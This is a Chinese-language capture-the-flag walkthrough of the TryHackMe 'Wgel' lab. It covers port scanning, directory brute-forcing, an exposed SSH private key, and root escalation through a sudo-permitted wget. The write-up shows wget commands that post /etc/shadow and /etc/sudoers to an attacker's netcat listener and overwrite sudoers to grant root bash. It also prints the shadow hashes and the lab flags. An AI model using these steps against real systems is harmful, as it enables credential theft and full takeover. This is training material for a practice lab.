乐趣区

关于安全:TryhackmeWgel-CTF敏感信息泄露滥用sudo提权wget

jiezi

服务发现

┌──(root💀kali)-[~]
└─# nmap -sV -Pn 10.10.106.99    
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 (https://nmap.org) at 2021-09-25 23:41 EDT
Nmap scan report for 10.10.106.99
Host is up (0.38s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.12 seconds

目录爆破

┌──(root💀kali)-[~/dirsearch]
└─# python3 dirsearch.py -u http://10.10.106.99 -e* -t 100 -w /usr/share/wordlists/Web-Content/directory-list-lowercase-2.3-medium.txt

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_|)

Extensions: * | HTTP method: get | Threads: 100 | Wordlist size: 207627

Error Log: /root/dirsearch/logs/errors-21-09-25_23-42-55.log

Target: http://10.10.106.99

[23:42:56] Starting: 
[23:42:58] 301 -  314B  - /sitemap  ->  http://10.10.106.99/sitemap/
[23:42:58] 200 -   11KB - /        
CTRL+C detected: Pausing threads, please wait...                              
                                               
Canceled by the user

sitemap 是一个叫 UNAPP 的软件网站介绍页，持续对这个这个网站爆破目录

┌──(root💀kali)-[~/dirsearch]
└─# python3 dirsearch.py  -e* -t 100 -w /usr/share/wordlists/Web-Content/directory-list-2.3-medium.txt -u http://10.10.106.99/sitemap/

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_|)

Extensions: * | HTTP method: get | Threads: 100 | Wordlist size: 220521

Error Log: /root/dirsearch/logs/errors-21-09-26_02-39-06.log

Target: http://10.10.106.99/sitemap/

[02:39:07] Starting: 
[02:39:09] 200 -   21KB - /sitemap/
[02:39:09] 301 -  319B  - /sitemap/images  ->  http://10.10.106.99/sitemap/images/
[02:39:11] 301 -  316B  - /sitemap/css  ->  http://10.10.106.99/sitemap/css/
[02:39:12] 301 -  315B  - /sitemap/js  ->  http://10.10.106.99/sitemap/js/
[02:39:19] 301 -  318B  - /sitemap/fonts  ->  http://10.10.106.99/sitemap/fonts/
[02:44:16] 301 -  317B  - /sitemap/sass  ->  http://10.10.106.99/sitemap/sass/

在 about 页面找到两个开发者的名字

Emily Turner
Adam Morris

做成一个可能的用户账号爆破 ssh，用一个小字典，无果

emily
turner
emilyturner
adam
morris
adammorris

在 http://10.10.106.99/ 首页源代码找到一行正文

Jessie don't forget to udate the webiste

确定一个用户名：jessie

在 http://10.10.106.99/sitemap/.ssh/ 找到 ssh 登录秘钥

Index of /sitemap/.ssh
[ICO]    Name    Last modified    Size    Description
[PARENTDIR]    Parent Directory         -      
[ ]    id_rsa    2019-10-26 09:24     1.6K     
Apache/2.4.18 (Ubuntu) Server at 10.10.106.99 Port 80

依据用户名和 ssh 登录秘钥，登录靶机，拿到 user.txt

┌──(root💀kali)-[~/tryhackme/wgel]
└─# ssh -i id_rsa jessie@10.10.106.99 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-45-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


8 packages can be updated.
8 updates are security updates.

Last login: Sun Sep 26 11:59:45 2021 from 10.13.21.169
jessie@CorpOne:~$ find / -name user_flag.txt

find:‘/var/cache/lightdm/dmrc’: Permission denied
find:‘/var/cache/cups’: Permission denied
find:‘/var/log/speech-dispatcher’: Permission denied
find:‘/var/lib/apt/lists/partial’: Permission denied
find:‘/var/lib/colord/.cache’: Permission denied
find:‘/var/lib/snapd/void’: Permission denied
find:‘/var/lib/snapd/cookie’: Permission denied
find:‘/var/lib/udisks2’: Permission denied
find:‘/var/lib/update-notifier/package-data-downloads/partial’: Permission denied
find:‘/var/lib/lightdm-data/lightdm’: Permission denied
find:‘/var/lib/lightdm’: Permission denied
find:‘/var/lib/polkit-1’: Permission denied
/home/jessie/Documents/user_flag.txt


jessie@CorpOne:~$ cat /home/jessie/Documents/user_flag.txt
057c67131c3d5e42dd5cd3075b198ff6

查看 sudo 权限

jessie@CorpOne:~$ sudo -l
Matching Defaults entries for jessie on CorpOne:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jessie may run the following commands on CorpOne:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/wget

把 shadow 文件传到攻击机

1，监听
nc -lvnp 80

2，发送
sudo -u root /usr/bin/wget --post-file=/etc/shadow 10.13.21.169

3, 接管

┌──(root💀kali)-[~/tryhackme/wgel]
└─# nc -lvnp 80 
listening on [any] 80 ...
connect to [10.13.21.169] from (UNKNOWN) [10.10.106.99] 60216
POST / HTTP/1.1
User-Agent: Wget/1.17.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 10.13.21.169
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1273

root:!:18195:0:99999:7:::
daemon:*:17953:0:99999:7:::
bin:*:17953:0:99999:7:::
sys:*:17953:0:99999:7:::
sync:*:17953:0:99999:7:::
games:*:17953:0:99999:7:::
man:*:17953:0:99999:7:::
lp:*:17953:0:99999:7:::
mail:*:17953:0:99999:7:::
news:*:17953:0:99999:7:::
uucp:*:17953:0:99999:7:::
proxy:*:17953:0:99999:7:::
www-data:*:17953:0:99999:7:::
backup:*:17953:0:99999:7:::
list:*:17953:0:99999:7:::
irc:*:17953:0:99999:7:::
gnats:*:17953:0:99999:7:::
nobody:*:17953:0:99999:7:::
systemd-timesync:*:17953:0:99999:7:::
systemd-network:*:17953:0:99999:7:::
systemd-resolve:*:17953:0:99999:7:::
systemd-bus-proxy:*:17953:0:99999:7:::
syslog:*:17953:0:99999:7:::
_apt:*:17953:0:99999:7:::
messagebus:*:17954:0:99999:7:::
uuidd:*:17954:0:99999:7:::
lightdm:*:17954:0:99999:7:::
whoopsie:*:17954:0:99999:7:::
avahi-autoipd:*:17954:0:99999:7:::
avahi:*:17954:0:99999:7:::
dnsmasq:*:17954:0:99999:7:::
colord:*:17954:0:99999:7:::
speech-dispatcher:!:17954:0:99999:7:::
hplip:*:17954:0:99999:7:::
kernoops:*:17954:0:99999:7:::
pulse:*:17954:0:99999:7:::
rtkit:*:17954:0:99999:7:::
saned:*:17954:0:99999:7:::
usbmux:*:17954:0:99999:7:::
jessie:$6$0wv9XLy.$HxqSdXgk7JJ6n9oZ9Z52qxuGCdFqp0qI/9X.a4VRJt860njSusSuQ663bXfIV7y.ywZxeOinj4Mckj8/uvA7U.:18195:0:99999:7:::
sshd:*:18195:0:99999:7:::

root 明码列的值是 ”!”，示意该用户被锁，被锁将无奈登陆，然而可能其余的登录形式是不受限制的，如 ssh 公钥认证的形式，su 的形式。

那么就不能够通过替换 shadow 提权

提权思路

通过 wget 咱们事实上能够更换靶机上的任何文件，那么咱们当初尝试替换 /etc/sudoers 文件，把 jessie ALL=(root) NOPASSWD: /bin/bash 这一行增加到 sudoers 文件中，而后再笼罩掉靶机上的 sudoers 文件

这样咱们就能够无需明码切换到 root 的 bash

把 /etc/sudoers 传回攻击机以备编辑
sudo -u root /usr/bin/wget --post-file=/etc/sudoers 10.13.21.169

编辑 sudoers

#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d
jessie  ALL=(root) NOPASSWD: /usr/bin/wget
jessie  ALL=(root) NOPASSWD: /bin/bash

从靶机下载笼罩编辑好的 sudoers 文件，胜利提权

jessie@CorpOne:~$ sudo /usr/bin/wget http://10.13.21.169:8000/sudoers -O /etc/sudoers
--2021-09-26 12:45:55--  http://10.13.21.169:8000/sudoers
Connecting to 10.13.21.169:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 863 [application/octet-stream]
Saving to:‘/etc/sudoers’/etc/sudoers        100%[========================================================================================================================================>]     863  --.-KB/s    in 0,001s  

2021-09-26 12:45:55 (1,54 MB/s) -‘/etc/sudoers’saved [863/863]

jessie@CorpOne:~$ sudo -l
Matching Defaults entries for jessie on CorpOne:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jessie may run the following commands on CorpOne:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/wget
    (root) NOPASSWD: /bin/bash
jessie@CorpOne:~$ sudo bash
root@CorpOne:~# cat /root/root_flag.txt 
b1b968b37519ad1daa6408188649263d
root@CorpOne:~#
退出移动版